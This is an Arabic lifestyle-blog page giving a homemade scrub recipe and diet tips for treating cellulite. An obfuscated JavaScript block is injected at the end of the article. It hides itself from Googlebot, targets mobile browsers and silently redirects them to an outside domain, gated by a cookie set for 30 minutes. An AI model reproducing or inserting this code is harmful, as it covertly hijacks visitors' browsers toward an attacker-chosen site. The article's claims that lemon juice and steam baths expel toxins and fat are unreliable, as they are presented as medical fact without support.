انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تعالجين السيلوليت في المنزل

كيف تعالجين السيلوليت في المنزل

السيلوليت من الامراض الجلدية المزعجة جدا حيث انه يحول جلد الجسم الي شكل لا يود فيه الجميع كما انه يفقد المرأة انوثتها ونعومتها وجمالها فهناك تكمن اثارة المرأة ولكن علاج هذه المشكلة المتعلقة بالسيلوليت يوجد في كل العيادات المتخصصة في المشكلات الجلدية ولكنه مكلف في بعض الآونة بالإضافة الي انه يحتاج الي الوقت الذي لا يملكه الكثيرون لهذا نقدم لكم في هذه المقالة كيف يمكنكم معالجة السيلوليت في المنزل

 

كيف تعالجين السيلوليت في المنزل
كيف تعالجين السيلوليت في المنزل

 

  • مكونات وصفة التخلص من السيلوليت في المنزل
  • ملعقتان كبيرتان من زيت جوز الهند
  • ملعقتان من فيتامين E المجفف
  • ملعقتان صغيرتان من بيكربونات الصوديوم
  • ثلاثة ملاعق كبيرة من القرفة المطحونة
  • خمسة ملاعق كبيرة من السكر المطحون
  • ستة ملاعق كبيرة من البن المطحون جيدا
  • وصفة علاج السيلوليت في المنزل

في بداية الامر يحتاج الجسم منك الي حمام ساخن حتي تتفتح المسام الموجودة به بعد ذلك نقوم بفرك المنطقة الموجود بها السيلوليت بواسطة ليفة الاستحمام ومن الأفضل ان تكون ليفة الاستحمام خشنة حتي نتخلص من الجلد الميت الموجود في هذه المنطقة وبعد ذلك نضع عليها الخليط المكون من المكونات السابق ذكرها ونغطي هذه المنطقة بواسطة ” كيس بلاستيك ” لمدة عشرة دقائق وبعد ذلك نقوم بغسل هذه المنطقة بواسطة الماء الدافئ وبعد الخروج من الحمام مباشرة نقوم بتدليك هذه المنطقة بحركات دائرية بطيئة باستخدام زبدة الكاكاو او زيت الأطفال يمكنك تكرار هذه الوصفة ثلاثة مرات في الأسبوع ولكن يجب عليك تدليك المنطقة التي تعاني من وجود السيلوليت بزيت الأطفال وزبدة الكاكاو يوميا وكانت هذه الخطوات الجزء المختص بالعلاج الخارجي فقط حيث ان هناك مجموعة من الخطوات تساعد في التخلص من السيلوليت داخليا وهذه الخطوات هي :-

  • زيادة كمية المياه الطبيعية في اليوم الواحد من 2 لتر الي 3 لتر في اليوم الواحد أي ما يعادل حوالي 12 كوب من الماء
  • التغذية المتنوعة لابد من تنوع الطعام الذي تتناوله ما بين الخضروات والفواكه الطازجة بكل أنواعها
  • تجنب تناول الحلويات بشكل عام وخاصة الشوكولاتة كما عليك تجنب تناول الأطعمة التي تحتوي على كمية كبيرة من الدهون والاطعمة المقلية
  • شرب عصير الليمون الدافئ فور الاستيقاظ من النوم مباشرة قبل تناول أي نوع من الطعام يساعدك في التخلص من السموم والدهون الموجودة بالجسم
  • التدريبات الرياضية اليومية عليك ممارسة التمرينات الرياضية اليومية فهي فعالة في التخلص من السيلوليت كما ان هناك نوع مخصص من التمرينات الرياضية المتخصص في علاج السيلوليت
  • من العادات التي تساعدك على التخلص من السيلوليت تمشيط الجسم وهو جاف بواسطة مشط الجسم الخاص بك وبعد ذلك الدخول للاستحمام بالماء الدافئ
  • الحمام المغربي من الأمور التي تساعدك في التخلص من السيلوليت الموجود في الجسم وتنقية الجسم من الدهون والسموم أيضا

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.